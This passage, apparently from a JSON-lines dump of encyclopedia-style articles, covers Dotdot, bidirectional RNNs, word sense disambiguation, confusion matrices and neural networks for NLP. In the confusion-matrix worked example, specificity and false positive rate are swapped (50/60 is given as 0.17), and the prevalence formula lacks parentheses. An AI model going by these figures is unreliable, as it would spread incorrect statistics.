few days, they agree on what eventually becomes the **Door Lock Cluster** within ZCL. This cluster defines how doors can be locked/unlocked or their pin codes changed. This is just one example about how clusters in ZCL are organized around specific device types. \n\n2017\n\nThough the IoT world has seen a number of protocols at the connectivity layers the last few years, this is the year when there's serious talk about interoperability at the application layer. Since various devices have to understand one another in terms of types, capabilities and interfaces, it's also called **semantic interoperability**. Many specifications and guidelines are available by the end of the year. \n\nJan  \n2017\n\nAt CES, Zigbee Alliance demonstrates how Dotdot can enable devices across Zigbee and IP networks talk to each other. In particular, they show Thread-based devices that have Dotdot at the application layer. \n\nFeb  \n2017\n\nThread Group releases version 1.1 of the **Thread specification** and a certification program. \n\nDec  \n2017\n\nThe Zigbee Alliance and Thread Group announce the availability of the **Dotdot over Thread Specification**. The specification is available to Zigbee Alliance members. By mid-2018, they expect to release Dotdot Commissioning Application and launch a certification program. \n\nJan  \n2019\n\nDotdot over Thread certification program is launched. Support for more networks other than Thread is added later in the year.","meta":{"title":"Dotdot","href":"dotdot"}}
{"text":"# Bidirectional RNN\n\n## Summary\n\n\nMany applications are sequential in nature. One input follows another in time. Dependencies among these give us important clues as to how they should be processed. Since Recurrent Neural Networks (RNNs) model the flow of time, they're suited for these applications. \n\nRNN has the limitation that it processes inputs in strict temporal order. This means current input has context of previous inputs but not the future. Bidirectional RNN (BRNN) duplicates the RNN processing chain so that inputs are processed in both forward and reverse time order. This allows a BRNN to look at future context as well. \n\nTwo common variants of RNN include GRU and LSTM. LSTM does better than RNN in capturing long-term dependencies. **Bidirectional LSTM (BiLSTM)** in particular is a popular choice in NLP. These variants are also within the scope of this article.\n\n## Discussion\n\n### Could you explain Bidirectional RNN with an example?\n\nConsider the phrase, 'He said, \"Teddy \\_\\_\\_\". From these three opening words it's difficult to conclude if the sentence is about Teddy bears or Teddy Roosevelt. This is because the context that clarifies Teddy comes later. RNNs (including GRUs and LSTMs) are able to obtain the context only in one direction, from the preceding words. They're unable to look ahead into future words. \n\nBidirectional RNNs solve this problem by processing the sequence in both directions. Typically, two separate RNNs are used: one for forward direction and one for reverse direction. This results in a hidden state from each RNN, which are usually concatenated to form a single hidden state. \n\nThe final hidden state goes to a decoder, such as a fully connected network followed by softmax. Depending on the design of the neural network, the output from a BRNN can either be the complete sequence of hidden states or the state from the last time step. If a single hidden state is given to the decoder, it comes from the last states of each RNN. \n\n\n### What are some applications of Bidirectional RNN?\n\nBiLSTM has become a popular architecture for many NLP tasks. An early application of BiLSTM was in the domain of speech recognition. Other applications include sentence classification, sentiment analysis, review generation, or even medical event detection in electronic health records. \n\nBiLSTM has been used for POS tagging and Word Sense Disambiguation (WSD). For Named Entity Recognition (NER), Lample et al. used word representations that captured both character-level characteristics and word-level context. These were fed into a BiLSTM encoder layer. The sequence of hidden states was decoded by a CRF layer. \n\nFor lemmatization, one study used two-layer bidirectional GRUs for the encoder. The decoder was a conditional GRU plus another GRU layer. Another study used a two-layer BiLSTM encoder and a one-layer LSTM decoder. A stack of four BiLSTMs has been used for Semantic Role Labelling (SRL). \n\nIn general, the paradigm of **embed-encode-attend-predict** has become popular in NLP work. The encode part benefits from BiLSTM, which has been shown to capture position-sensitive features. \n\nBeyond NLP, BiLSTM has been applied to image processing applications such as OCR. \n\n\n### What are merge modes in Bidirectional RNN?\n\nMerge mode is about how forward and backward hidden states should be combined before being passed on to the next layer. In Keras package, supported modes are summation, multiplication, concatenation and averaging. The default mode is concatenation and this is what most research papers use. \n\nIn MathWorks, as on December 2019, only concatenation was supported. \n\n\n### What are some limitations of Bidirectional RNN?\n\nOne limitation with BRNN is that the entire sequence must be available before we can make predictions. For some applications such as real-time speech recognition, the entire utterance may not be available and BRNN may not be adequate. \n\nIn the case of language models, the task is to predict the next word given preceding words. BRNN is clearly not suitable since it expects future words as well. Applying BRNN in this application will give poor accuracy. Moreover, BRNN is slower than RNN since results of the forward pass must be available for the backward pass to proceed. Gradients will therefore have a long dependency chain. \n\nLSTMs capture long-term dependencies better than RNN and also solve the exploding/vanishing gradient problem. However, stacking many layers of BiLSTM creates the vanishing gradient problem. Deep neural networks so successful with CNNs are not so successful with BiLSTMs. \n\n## Milestones\n\nNov  \n1997\n\nSchuster and Paliwal propose **Bidirectional Recurrent Neural Network (BRNN)** as an extension of the standard RNN. Since the forward and backward RNNs don't interact, they can be trained similar to the standard RNN. On regression and classification experiments they observe better results with BRNN. \n\n2005\n\nFor phoneme classification in speech recognition, Graves and Schmidhuber use **Bidirectional LSTM** and obtain good results. It's based on the insight that humans often understand sounds and words only after hearing the future context. In particular, often we don't require an output immediately upon receiving an input. We can afford to wait for a sequence of inputs and then work on the output. They also show that BRNN takes eight times longer to converge than BiLSTM. \n\nSep  \n2016\n\nGoogle replaces its phrase-based translation system with **Neural Machine Translation (NMT)**. It uses a deep LSTM network with 8 encoder and 8 decoder layers. The first layer of encoder is BiLSTM while all others are LSTM. \n\nApr  \n2017\n\nPre-trained word embeddings are commonly used in neural networks for NLP. However, they don't capture context. Supervised learning for capturing context uses limited labelled data. To overcome this limitation, Peters et al. use BiLSTM to learn a language model (LM) and initialize a neural network for sequence tagging. This network uses **two-layer bidirectional GRUs**. They experiment with NER and chunking. They find best result when LM embeddings are used at the output of the first layer. \n\nJul  \n2017\n\nFor the task of Semantic Role Labelling (SRL), He et al. use an eight-layer network consisting of four BiLSTMs. Their network includes highway connections and transform gates that control inter-layer information flow. Output prediction is done by a softmax layer. \n\nFeb  \n2018\n\nWhen BRNNs are stacked, they suffer from vanishing gradients and overfitting. Ding et al. propose a **Densely Connected BiLSTM (DC-BiLSTM)** as a solution. This essentially means that a layer's hidden state includes the hidden states of all preceding layers. They show that the proposed architecture can handle up to 20 layers while improving performance over BiLSTM. \n\nJun  \n2018\n\nPeters et al. publish details of a language model called **Embeddings from Language Models (ELMo)**. ELMo representations are deep, that is, they're a linear combination of the states of all LSTM layers rather than using only the top layer representation. They show that higher layers capture context-dependent semantics whereas lower layers capture syntax. While their model uses both forward and backward LSTMs, forward LSTM stack is independent of the backward LSTM stack. Representations at each layer of the two stacks are concatenated. For this reason, they use the term **Bidirectional Language Model (BiLM)**.","meta":{"title":"Bidirectional RNN","href":"bidirectional-rnn"}}
{"text":"# Word Sense Disambiguation\n\n## Summary\n\n\nMany words have multiple meanings or senses. For example, the word *bass* has at least eight different senses. The correct sense can be established by looking at the context of use. This is easy for humans because we know from experience how the world works. **Word Sense Disambiguation (WSD)** is about enabling computers to do the same. \n\nWSD involves the use of syntax, semantics and word meanings in context. It's therefore a part of **computational lexical semantics**. WSD is considered an AI-complete problem, which means that it's as hard as the most difficult problems in AI. \n\nBoth supervised and unsupervised algorithms are available. The term **Word Sense Induction (WSI)** is sometimes used for unsupervised algorithms. In the 2010s, word embeddings became popular. Such embeddings used with neural network models represent the current state-of-the-art models for WSD.\n\n## Discussion\n\n### Could you explain Word Sense Disambiguation with an example?\n\nConsider sentences \"I can hear bass sounds\" and \"They liked grilled bass\". The meaning or sense of the word 'bass' is low frequency tones or a type of fish respectively. The word alone is not sufficient to determine the correct sense. When we consider the word in the context of surrounding words, the sense becomes clear. Using WSD, the second sentence can be **sense-tagged** as \"They like/ENJOY grilled/COOKED bass/FISH\". \n\nContext comes from the words 'sounds' or 'grilled'. It's also helpful to know that these collocated words are noun and adjective respectively. One comes after 'bass' and the other comes before 'bass'. These syntactic relations give additional information. In general, pre-processing steps such as POS tagging and parsing help WSD. \n\nA difficult example is \"the astronomer married the star\". \n\nThere's no universally agreed senses for a word. Senses can also vary with domains. WSD also relies on knowledge. Without knowledge, it's impossible to determine the correct sense. It's expensive to build knowledge resources. Back in the 1990s, this was seen as the *knowledge acquisition bottleneck*. \n\n\n### Could you mention some applications of WSD?\n\nWSD is usually seen as an \"intermediate task\", as a means to an end. Obtaining the correct word sense is helpful in many NLP applications. Exactly how WSD is used is application specific. \n\nHere are some examples: \n\n    + **Machine Translation**: An English translation of the French word 'grille' can be railings, bar, grid, scale, schedule, etc. Correct word sense disambiguation is therefore necessary.\n    + **Information Retrieval**: When searching for judicial references with the word 'court', we wish to avoid matches pertaining to royalty.\n    + **Thematic Analysis**: Themes are identified based on word distribution but we include only words of the relevant sense.\n    + **Grammatical Analysis**: In POS tagging or syntactic analysis, WSD is useful. In the French sentence \"L'étagère plie sous les livres\", livres refers to 'books' and not 'pounds'.\n    + **Speech Processing**: WSD helps in obtaining the correct phonetization in speech synthesis.\n    + **Text Processing**: For inserting diacritics, WSD helps in correcting the French word 'comte' to 'comté'. For case changes, WSD corrects 'HE READ THE TIMES' to 'He read the Times'. To \"Wikify\" online documents, WSD helps.\n\n### What are some essential terms to know about word senses?\n\nConsider the word 'bank'. This can refer to a financial institution or a sloping mound. These two senses of the same word are unrelated but they look and sound the same. We call them **homonyms**. The sense relation is called **homonymy**. Typically, homonyms have different origins and different dictionary entries. \n\nA bank can also refer to the building that houses the financial institution. These senses are semantically related. The sense relation is called **polysemy**. \n\n**Synonyms** are different words with same or nearly same meaning. **Antonyms** are words with opposite meaning. \n\nConsider two words in which one is a subclass of the other, a type-of relation, such as mango and fruit. Mango is a **hyponym** of fruit. Fruit is a **hypernym** of mango. \n\nConsider two words that form a part-whole relation, such as wheel and car. Wheel is a **meronym** of car. Car is a **holonym** of wheel. \n\n\n### Which are the essential elements for doing WSD?\n\nWSD requires two main sources of information: **context** and **knowledge**. Context is established from neighbouring words and the domain of discourse. Sense-tagged corpora provide knowledge, leading to data-driven or corpus-based WSD. Use of lexicons or encyclopaedia lead to knowledge-driven WSD. \n\nWe also need to know possible word senses. These can be **enumerative**, with WordNet being an example. A **generative** model underspecifies senses until context is considered. Rules generate senses. These rules capture regularities in the creation of senses. \n\nIn **lexical sample** task, WSD is applied for a sample of pre-selected words. Supervised ML approach is possible based on hand-labelled corpus. In **all-words** task, WSD is applied for all words, for which supervised ML approach is not practical. Dictionary-based approaches or bootstrapping techniques are more suitable. \n\nA **bag-of-words** approach can be used for context. To preserve word ordering, **collocation** can be used when forming feature vectors. Such a vector might include the word's root form and its POS. Syntactic relations, distance from target and selectional preferences are other approaches. \n\n\n### Could you describe some algorithms for WSD?\n\nA simple supervised approach is to use a **naive Bayes classifier**. We maximize the probability of word sense given a feature vector. The problem is simplified by using Bayes' Rule and assuming features are independent of one another. Another approach is **decision list classifier**. \n\nThe **Corpus Lesk** algorithm uses a sense-tagged corpus. We also use the definition or gloss of each sense from a dictionary. Examples from the corpus and the gloss become the signature of the sense. Then we compute the number of overlapping words between the signature and the context. Inverse Document Frequency (IDF) weighting is applied to discount function words (the, of, etc.). The simplified Lesk algorithm uses only the gloss for signature and doesn't use weights. \n\nFor evaluation, **most frequent sense** is used as a baseline. Frequencies can be taken from a sense-tagged corpus such as SemCor. Lesk algorithm is also a suitable baseline. *Senseval* and *SemEval* have standardized sense evaluation. \n\n\n### How are word embeddings relevant to the problem of WSD?\n\nSchütze (1998) proposed the use of word vectors and context vectors. These are large dimensional vectors and often sparse. To make them practical for computation, Singular Value Decomposition (SVD) reduces the number of dimensions. Within such a vector space model, Latent Semantic Analysis (LSA) helps to determine semantic relations. Word embeddings is a modern alternative. \n\nWord embeddings were proposed by Bengio et al. (2003). These are low-dimensional dense vectors that capture semantic information. However, words with multiple senses are reduced to a single vector. This is not directly useful for WSD. To overcome this, Trask et al. (2015) proposed **sense2vec**, where representations are of senses, not words. Sense2vec improved the accuracy of other NLP tasks such as named entity recognition and neural dependency parsing. \n\nIacobacci et al. (2016) explored the direct use of word embeddings. Using *It Makes Sense (IMS)* framework along with Word2vec, they improved F1 scores on various WSD datasets. Word embeddings of target word and its surrounding words are converted into \"sense vectors\" using various methods: concatenation, average, fractional decay, exponential decay. \n\n\n### What are some neural network approaches to WSD?\n\nNeural network approaches to WSD have become popular in the 2010s. Wiriyathammabhum et al. (2012) applied **Deep Belief Networks (DBN)**. They pre-trained the hidden layers using various knowledge sources, layer by layer. They then used a separate fine tuning step for better discrimination. \n\nWe lose sequential and syntactic information when averaging word vectors. Instead, Yuan et al. (2016) proposed a semi-supervised **LSTM** model with label propagation. To capture contexts from both sides, Kågebäck and Salomonsson (2016) applied **Bidirectional LSTM**. \n\nMany models consider only context. Knowledge sources such as WordNet are ignored. **Gloss-Augmented WSD (GAS)** considers both context and glosses (sense definitions) and uses BiLSTM. \n\nOne attention-based approach is a **encoder-decoder model** with multiple attentions on different linguistic features. Another is **GlossBERT**. It uses BERT, encodes context-gloss pairs of all possible senses, and treats WSD as a sentence-pair classification problem. \n\n\n### What are some resources to do WSD?\n\nA number of datasets and sense-annotated corpora are available to train WSD models: Senseval and SemEval tasks (all-words, lexical sample, WSI), AIDA CoNLL-YAGO, MASC, SemCor, and WebCAGe. Likewise, word sense inventories include WordNet, TWSI, Wiktionary, Wikipedia, FrameNet, OmegaWiki, VerbNet, and more. These are supported by the modular Java framework **DKPro WSD**. \n\n**UKB** is an open-source toolkit that can be used for knowledge-based WSD. It should be used with optimal default parameters. \n\nIn January 2017, Google released word sense annotations on MASC and SemCor datasets. Senses are from New Oxford American Dictionary (NOAD). NOAD senses are also mapped to WordNet. \n\nACLWiki has curated a list of useful WSD resources. This includes papers, inventories, annotated corpora and software. \n\nRuder captures the current state of the art in WSD with links to relevant papers. Papers With Code also maintains a list of recent papers on WSD.\n\n## Milestones\n\nJul  \n1949\n\nWarren Weaver considers the task of using computers to **translate** text from one language to another. He recognizes the importance of context and meaning. He makes references to cryptography and statistical semantic studies as possible approaches to obtaining the correct meaning of a word. Weaver also notes that a word mostly has only one meaning within a particular domain. \n\n1953\n\nOswald and Lawson propose **microglossaries** for machine translation. These are glossaries assembled for a particular domain. Through the 1950s, researchers produce many such domain-specific glossaries to aid machine translation. For example, a microglossary for mathematics would define 'triangle' as a geometric shape and not as a musical instrument. \n\n1955\n\nErwin Reifler defines what he calls *semantic coincidences* between a word and its context. He also notes that **syntactic relations** can be used to disambiguate. For example, the word 'kept' can have an object that's gerund (He kept eating), adjectival phrase (He kept calm), or noun phrase (He kept a record). \n\n1957\n\nMasterman makes use of synonyms, near synonyms and associated words from Roget's Thesaurus. She gives the example of \"flowering plant\". Using the **thesaurus**, we can determine that 'vegetable' is the only common sense for the words 'flowering' and 'plant'. This is therefore the correct sense of the word 'plant' in this context. \n\n1965\n\nMadhu and Lytle propose the use of what they call **Figure of Merit**. This is a probabilistic measure that's useful when grammatical structure alone is unable to disambiguate. They focus on scientific and engineering literature and identify ten groups. The group or context is determined using words with single meaning. Then the most probable meaning of words with multiple meanings is selected given the context. Paradoxically, this is also the time when interest in machine translation declines. \n\n1970\n\nIn the 1970s, some notable approaches include **Semantic Networks** of Quillian and Simmons; **Preferential Semantics** of Wilks; word-based understanding of Riesbeck. Early semantic networks can be traced to the late 1950s. \n\n1986\n\nLesk uses a **machine-readable dictionary (MRD)** for WSD. In general, the 1980s sees large-scale lexical resources (such as WordNet) for automated knowledge extraction. This is also when focus shifts from linguistic theories to empirical methods. \n\n1990\n\nThe use of neural networks had been suggested in the early 1980s but was limited to a few words and hand-coded. Véronis and Ide extend this idea by using a machine-readable Collins English Dictionary. Network is formed using dictionary entries and words used to define them. Word nodes activate sense nodes. Feedback allows competing senses to inhibit one another. \n\n1991\n\nBrown et al. show that it's possible to disambiguate by aligning sentences in two languages. A word in one language might translate into different words in another language, each with a unique sense. In 1992, Gale et al. extend this idea by using Canadian Hansards (parliamentary debates) that's available in more than one language. This avoids expensive hand-labelled corpus. \n\n1995\n\nSupervised WSD algorithms have the problem of requiring sense-annotated corpora, which is expensive and laborious to create. Yarowsky proposes an **unsupervised** WSD algorithm. The algorithm uses two useful constraints: one sense per collocation, one sense per discourse. It's a bootstrapping procedure that seeds a small number of sense annotations. The algorithm then determines and iteratively improves on the senses for other occurrences of the word. An example is to disambiguate 'plant', which can be about plant life or a manufacturing plant. \n\n1998\n\nSchütze proposes a vector space approach to WSD via **clustering**. Senses are seen as clusters of similar contexts. A sense of a particular word is the cluster to which it's closest. Since the technique is unsupervised, senses are induced from a corpus. Word vectors are calculated using cooccurrences. Word vectors are sparse but context vectors are dense. The dimensions of both vectors are reduced using Singular Value Decomposition (SVD). \n\n1999\n\nMihalcea and Moldovan make use of **WordNet** for WSD. They rank different senses using WordNet's semantic density for a word-pair and **web mining** for word pair cooccurrences. In 2004, Peter Turney also employs web mining to calculate cooccurrence probabilities that are used to generate semantic features for WSD. \n\n2010\n\nThis decade sees an increasing use of word embeddings and neural network models for WSD. Some of these include Gloss-Augmented WSD (GAS), GlossBERT, and use of BiLSTM. \n\nMar  \n2018\n\nRamiro et al. study the evolution of word senses. They note that cognitive efficiency drives this evolution through a process called **nearest-neighbour chaining**. For new word senses, reuse of existing words (polysemy) is more common than new word forms.","meta":{"title":"Word Sense Disambiguation","href":"word-sense-disambiguation"}}
{"text":"# Confusion Matrix\n\n## Summary\n\n\nIn statistical classification, we create algorithms or models to predict or classify data into a finite set of classes. Since models are not perfect, some data points will be classified incorrectly. Confusion matrix is basically a tabular summary showing how well the model is performing. \n\nIn one dimension, the matrix takes the actual values. The matrix then maps these to the predicted values in the other dimension. In reality, the matrix is like a histogram. The entries in the matrix are counts. For example, it records how many data points were predicted as \"true\" when they were actually \"false\". \n\nConfusion matrix is useful in both binary classification as well as multiclass classification problems. There are many performance metrics that can be computed from the matrix. Learning these metrics is handy for a statistician or data scientist.\n\n## Discussion\n\n### What are the elements and terminology used in Confusion Matrix?\n\nLet's also consider a concrete example of a pregnancy test. Based on a urine test, we predict if a person is pregnant or not. We assume that the ground truth (pregnant or not) is available to us. We therefore have four possibilities: \n\n    + **True Positive (TP)**: We predict a pregnant person is pregnant. This is a good prediction.\n    + **True Negative (TN)**: We predict a non-pregnant person is not pregnant. This is a good prediction.\n    + **False Positive (FP)**: We predict a non-pregnant person is pregnant. This type of error is also called *Type I Error*.\n    + **False Negative (FN)**: We predict a pregnant person is not pregnant. This type of error is also called *Type II Error*.When these are arranged in matrix form, it will be apparent that correct predictions are represented along the main diagonal. Incorrect predictions are in the non-diagonal cells. This makes it easy to see where predictions have gone wrong. We may also say that the matrix represents the model's inability to classify correctly, and hence the \"confusion\" in the model. \n\n\n### What metrics are used for evaluating the performance of a prediction model?\n\nPerformance metrics from a confusion matrix are represented in the following equations:  \n\n$$Recall\\ or\\ Sensitivity=TP/(TP+FN)=TP/AllPositives\\\\Specificity=TN/(TN+FP)=TN/AllNegatives\\\\Precision=TP/(TP+FP)=TP/PredictedPositives\\\\Prevalence=TP+FN/Total=AllPositives /Total\\\\Accuracy=(TP+TN)/Total\\\\Error\\ Rate=(FP+FN)/Total$$\n\nIt's important to understand the significance of these metrics. Accuracy is an overall measure of correct prediction, regardless of the class (positive or negative). The complement of accuracy is error rate or misclassification rate.\n\nHigh recall implies that very few positives are misclassified as negatives. High precision implies very few negatives are misclassified as positives. There's a trade-off here. If model is partial towards positives, we'll end up with high recall but low precision. It model favours negatives, we'll end up with low recall and high precision. \n\nHigh specificity, like high precision, implies that very few negatives are misclassified as positives. If positive represents some disease, specificity is the model's confidence in clearing a person as disease-free. Selectivity is the model's confidence in diagnosing a person as diseased. \n\nIdeally, recall, specificity, precision and accuracy should all be close to 1. FNR, FPR and error rate should be close to 0.\n\n\n### Could you give a numerical example showing calculations of performance measures of a prediction model?\n\nThis example has 165 samples. We show the following calculations: \n\n    + Recall or True Positive Rate (TPR): TP/(TP+FN) = 100/(100+5) = 0.95\n    + False Negative Rate (FNR): 1 - TPR = 0.05\n    + Specificity or True Negative Rate (TNR): TN/(TN+FP) = 50/(50+10) = 0.17\n    + False Positive Rate (FPR): 1 - TNR = 0.83\n    + Precision: TP/(TP+FP) = 100/(100+10) = 0.91\n    + Prevalence: (TP+FN)/Total = (100+5)/165 = 0.64\n    + Accuracy: (TP+TN)/Total = (100+50)/165 = 0.91\n    + Error Rate: (FP+FN)/Total = (10+5)/165 = 0.09\n\n### Why do we need so many performance measures when accuracy can be sufficient?\n\nIf the dataset has 90% positives, then achieving 90% accuracy is easy by predicting only positives. Thus, accuracy is not a sufficient measure when dataset is imbalanced. Accuracy also doesn't differentiate between Type I (False Positive) and Type II (False Negative) errors. This is where the confusion matrix gives us more useful measures with FPR and FNR; or their complementary measures, Recall and Specificity respectively.\n\nConsider the multiclass problem of iris classification that has three classes: setosa, versicolor and virginica. This has an accuracy of 84% (32/38) but it doesn't tell us where the errors are happening. With the confusion matrix, it's easy to see that only versicolor is wrongly classified. The matrix also shows that versicolor is misclassified as virginica and never as setosa. We can also see that Recall is 62% (10/16) for versicolor. \n\nIn fact, when classes are not evenly represented in the data, confusion matrix by itself doesn't give an adequate visual representation. For this reason, we use a **normalized confusion matrix** that takes care of class imbalance. \n\n\n### What are other performance metrics for a classification/prediction problem?\n\n**F-measure** takes a harmonic mean of Recall and Precision, (2\\*Recall\\*Precision)/(Recall+Precision). It's a value closer to the smaller of the two. Applying this to our earlier example, we get F-measure = (2\\*0.95\\*0.91)/(0.95+0.91) = 0.92 \n\nA commonly used graphical measure is the **ROC Curve**. It's generated by plotting the True Positive Rate (y-axis) against the False Positive Rate (x-axis) as we vary the threshold for assigning observations to a given class. \n\nHow often will we be wrong if we always predict the majority class? **Null Error Rate** gives us a measure for this. It's a useful baseline when evaluating a model. In our example, null error rate would be 60/165 = 0.36. If the model always predicted positive, it would be wrong 36% of the time. \n\n**Cohen's Kappa** can be applied to know how well a classifier is performing as opposed to classifying simply by chance. A high Kappa score implies accuracy differs a lot from null error rate. \n\n\n### What's the procedure to make or use a Confusion Matrix?\n\nWe certainly need both the actual values and the predicted values. We can arrange the actual values by rows and the predicted values by columns, although some may swap the two. It's therefore important read the arrangement of the matrix correctly. For each actual value, count the number of predicted values for each class. Fill these counts into the matrix. \n\nThere's no threshold for good accuracy, sensitivity or other measures. They should be interpreted in the context of problem, domain and business.\n\n\n### Could you mention some tools and techniques in relation to the Confusion Matrix?\n\nIn R, package *caret: Classification and Regression Training* can be used to get confusion matrix with all relevant statistical information. The function is `confusionMatrix(data=predicted, reference=expected)`. This plots actuals (called reference) by columns and predictions by rows. \n\nIn Python, package *sklearn.metrics* has an equivalent function, `confusion_matrix(actual, predicted)`.  This plots actuals by rows and predictions by columns. Other related and useful functions are `accuracy_score(actual, predicted`) and `classification_report(actual, predicted)`.  \n\n## Milestones\n\n1904\n\nMathematician Karl Pearson publishes a paper titled *On the theory of contingency and its relation to association and normal correlation*. Contingency and correlation between two variables can be seen as the genesis of confusion matrix.\n\n1971\n\nJames Townsend publishes a paper titled *Theoretical analysis of an alphabetic confusion matrix*. Uppercase English alphabets are shown to human participants who try to identify them. Alphabets are presented with or without introduced noise. The resulting confusion matrix is of size 26x26. With noise, Townsend finds that 'W' is misidentified as 'V' 37% of the time; 32% of 'Q' are misidentified as 'O'; 'H' is identified correctly only 19% of the time. \n\n1998\n\nThe term **Confusion Matrix** becomes popular in the ML community when it appears in a glossary featured in *Special Issue on Applications of Machine Learning and the Knowledge Discovery Process* by Ron Kohavi and Foster Provost. \n\n2011\n\nIn a paper titled *Comparing Multi-class Classifiers: On the Similarity of Confusion Matrices for Predictive Toxicology Applications*, researchers show how to compare predictive models based on their confusion matrices. For lower FNR, they propose regrouping performance measures of multiclass classifiers into a binary classification problem.","meta":{"title":"Confusion Matrix","href":"confusion-matrix"}}
{"text":"# Neural Networks for NLP\n\n## Summary\n\n\nThe use of statistics in NLP started in the 1980s and heralded the birth of what we called **Statistical NLP** or **Computational Linguistics**. Since then, many machine learning techniques have been applied to NLP. These include naïve Bayes, k-nearest neighbours, hidden Markov models, conditional random fields, decision trees, random forests, and support vector machines. \n\nThe use of neutral networks for NLP did not start until the early 2000s. But by the end of 2010s, neural networks transformed NLP, enhancing or even replacing earlier techniques. This has been made possible because we now have more data to train neural network models and more powerful computing systems to do so. \n\nIn traditional NLP, features were often hand-crafted, incomplete, and time consuming to create. Neural networks can learn multilevel features automatically. They also give better results.\n\n## Discussion\n\n### Which are the main innovations in the application of NN to NLP?\n\nTwo main innovations have enabled the use of neural networks in NLP: \n\n    + **Word Embeddings**: This enabled us to represent words as real-valued vectors. Instead of having a sparse representation, word embeddings allowed us to represent words in a much smaller dimensional space. We could identify similar words due to their closeness in this vector space, or use analogies to exploit semantic relationships between words.\n    + **NN Architectures**: These had evolved in other domains such as computer vision and were adapted to NLP. This started in language modelling, and later applied to morphology, POS tagging, coreference resolution, parsing, and semantics. From these core areas, neural networks were applied to applications: sentiment analysis, speech recognition, information retrieval/extraction, text classification/generation, summarization, question answering, and machine translation. These architectures are usually not as deep (many hidden layers) as found in computer vision.\n\n### Which are the NN architectures that have been used for NLP?\n\nEarly language models used a feedforward NN or convolutional NN architectures but these didn't capture context very well. Context is how one word occurs in relation to surrounding words in the sentence. To capture context, recurrent NNs were applied. **LSTM**, a variant of RNN, was then used to capture long-distance context. **Bidirectional LSTM (BiLSTM)** improves upon LSTM by looking at word sequences in forward and backward directions. \n\nTypically, the dimensionality of input and output must be known and fixed. This is problematic for machine translation. For example, the best translation of a 10-word English sentence might be a 12-word French sentence. This problem is solved by a **sequence-to-sequence** model that's based on **encoder-decoder** architecture. The essence of the encoder is to encode an entire input sequence into a large fixed-dimensional vector, called the **context vector**. The decoder implements a language model conditioned on the input sequence. \n\nTo encode contextual information in a single context vector is difficult. This gave rise to the idea of **attention** where more information is given to decoder. From here, the **transformer** model evolved. \n\n\n### What's been the general trend in NLP research with neural networks?\n\nLanguage modelling has been essential for the progress of NLP. Because of the ready availability of text, it's been easy to train complex models in an unsupervised manner on lots of training data. The intent is to train the model to learn about words and the contexts in which they occur. For example, the model should learn a vector representation of \"bank\" and also discriminate between a river bank and a financial institution. \n\nA **pretrained language model**, first proposed in 2015, can save us expensive training on vast amounts of data. However, such a pretrained model may need some amount of training on domain-specific data. Then the model can be applied to many downstream NLP tasks. This approach is similar to pretrained word embeddings that didn't capture context. \n\nThe use of a pretrained language model in another downstream task is called **transfer learning**, a concept that's also common in computer vision. \n\nIt's expected that transformer model will dominate over RNN. Pretrained models will get better. It'll be easier to fine tune models. Transfer learning will become more important. \n\n\n### Could you share some real-world examples of NN in NLP?\n\nIn 2018, Google introduced Smart Compose in Gmail. A seq2seq model using email subject and previous email body gave good results but failed to meet latency constraints. They finally settled on a hybrid of bag-of-words (BoW) and RNN-LM. Average embeddings are fed to RNN-LM. \n\nAt Amazon, they've used a lightweight version of ELMo to augment Alexa functions. While ELMo uses a stack of BiLSTM, they use a single layer since Alexa transactions are linguistically more uniform. They trained the embeddings in an unsupervised manner, and then trained on two tasks (intent classification and slot tagging) in a supervised manner while only slowly adjusting the embeddings. They also did transfer learning on new tasks. \n\nUber has used NLP to filter tickets related to map data. Using word2vec, they trained word embeddings on one million tickets. This had the limitation that all words are treated equally. They then experimented with WordCNN and LSTM networks. They got best results with word2vec trained on customer tickets and used it with WordCNN. For future work, they suggested character-level (CharCNN) embeddings that are more resilient to typos. \n\n## Milestones\n\n2001\n\nBengio et al. point out the **curse of dimensionality** where the large vocabulary size of natural languages makes computations difficult. They propose a **feedforward neural network** that jointly learns the language model and vector representations of words. They refine their methods in a follow-up paper from 2003. \n\n2008\n\nCollobert and Weston train a language model in an unsupervised manner from Wikipedia data. They use supervised training for both syntactic tasks (POS tagging, chunking, parsing) and semantic tasks (named entity recognition, semantic role labelling, word sense disambiguation). To model long-distance dependencies, they use a **Time-Delay Neural Network (TNN)** inspired from CNN. They use multiple layers to move from local features to global features. Moreover, two models can share word embeddings, an approach called **multitask learning**. \n\n2010\n\nMikolov et al. use a **recurrent neural network (RNN)** for language modelling and apply this for speech recognition. They show better results than traditional n-gram models. \n\n2012\n\nDahl et al. combine deep neural network with hidden Markov model (HMM) for large vocabulary speech recognition. \n\n2013\n\nGoing beyond just word embeddings, Kalchbrenner and Blunsom map an entire input sentence to a vector. They use this for machine translation without relying on alignments or phrasal translation units. In another research, **LSTM** is found to capture long-range context and therefore suitable for generating sequences. In general, 2013 is the year when there's research focus on using CNN, RNN/LSTM and recursive NN for NLP. \n\n2014\n\nUsing pretrained word2vec embeddings, Yoon Kim uses CNN for sentence classification. Also in 2014, Sutskever et al. at Google apply **sequence-to-sequence** model to the task of machine translation. They use separate 4-layered LSTMs for encoder and decoder. Reversing the order of source sentences allows LSTM to exploit short-term dependencies and therefore do well on long sentences. Seq2seq models are suited for NLG tasks such as captioning images or describing source code changes. \n\nSep  \n2014\n\nBahdanau et al. apply the concept of **attention** to the seq2seq model used in machine translation. This helps the decoder to \"pay attention\" to important parts of the source sentence. It doesn't force the encoder to pack all information into a single context vector. Effectively, the model does a soft alignment of input to output words. \n\nNov  \n2015\n\nDai and Le propose a two-step procedure of unsupervised pre-training followed by supervised training for text classification. This **semi-supervised** approach works well. Pre-training helps to initialize the model for supervised training and generalization. More unlabelled data during pre-training is seen to improve supervised learning. In later years, this approach becomes important. \n\nSep  \n2016\n\nGoogle replaces its phrase-based translation system with **Neural Machine Translation (NMT)**. This reduces translation errors by 60%. It uses a deep LSTM network with 8 encoder and 8 decoder layers. The first layer of encoder is BiLSTM. The model also uses residual connections among the LSTM layers. \n\nMay  \n2017\n\nRecurrent architectures can't be parallelized due to their sequential nature. Gehring et al. therefore propose using CNNs for seq2seq modelling since CNNs can be parallelized and make best use of GPU hardware. The model uses gated linear units, residual connection and attention in each decoder layer. \n\nDec  \n2017\n\nVaswani et al. propose the **transformer** model in which they use a seq2seq model without using RNN. The transformer model relies only on **self-attention**. By 2018, the transformer leads to state-of-the-art models such as **OpenAI GPT** and **BERT**. \n\n2018\n\nResearchers at the Allen Institute for Artificial Intelligence introduce **ELMo (Embeddings from Language Models)**. While earlier work derived contextualized word vectors, this was limited to the top LSTM layer. ELMo's word representations use all layers of a bidirectional language model. This allows ELMo to model syntax, semantics and polysemy. Such a language model can be pretrained on a large scale and 